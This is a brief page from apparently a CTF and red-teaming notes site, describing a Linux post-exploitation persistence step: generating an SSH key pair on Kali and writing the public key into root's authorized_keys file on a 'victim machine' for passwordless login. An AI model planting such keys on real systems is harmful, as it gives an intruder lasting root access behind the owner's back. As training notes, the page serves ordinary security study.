> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfnote/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfnote/red-teaming/post-exploitation/linux-post-exploitation/ssh-key.md).

# SSH Key

On Kali, generate SSH key pair:

```bash
ssh-keygen
```

Store the content of `id_rsa.pub` into `/root/.ssh/authorized_keys` on the victim machine:

```bash
echo '<id_rsa.pub_content>' > /root/.ssh/authorized_keys
```

Then we can SSH in without password.
